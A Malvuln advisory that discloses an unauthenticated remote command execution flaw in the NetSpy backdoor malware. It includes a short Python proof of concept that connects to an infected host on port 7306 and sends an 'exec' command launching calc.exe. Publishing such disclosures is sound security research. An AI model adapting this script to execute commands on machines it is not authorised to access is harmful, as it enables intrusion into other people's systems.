Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/45d413b46f1d14a45e8fd36921813d62.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.NetSpy.10 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg. Family: NetSpy Type: PE32 MD5: 45d413b46f1d14a45e8fd36921813d62 Vuln ID: MVID-2022-0551 Disclosure: 04/14/2022 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=7306 CMD="exec c:\\Windows\\system32\\calc.exe" def chk_res(s): res="" while True: res += s.recv(512) break if "\0" in res or "\n" in res or res == "": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send(CMD) time.sleep(1) print(chk_res(s)) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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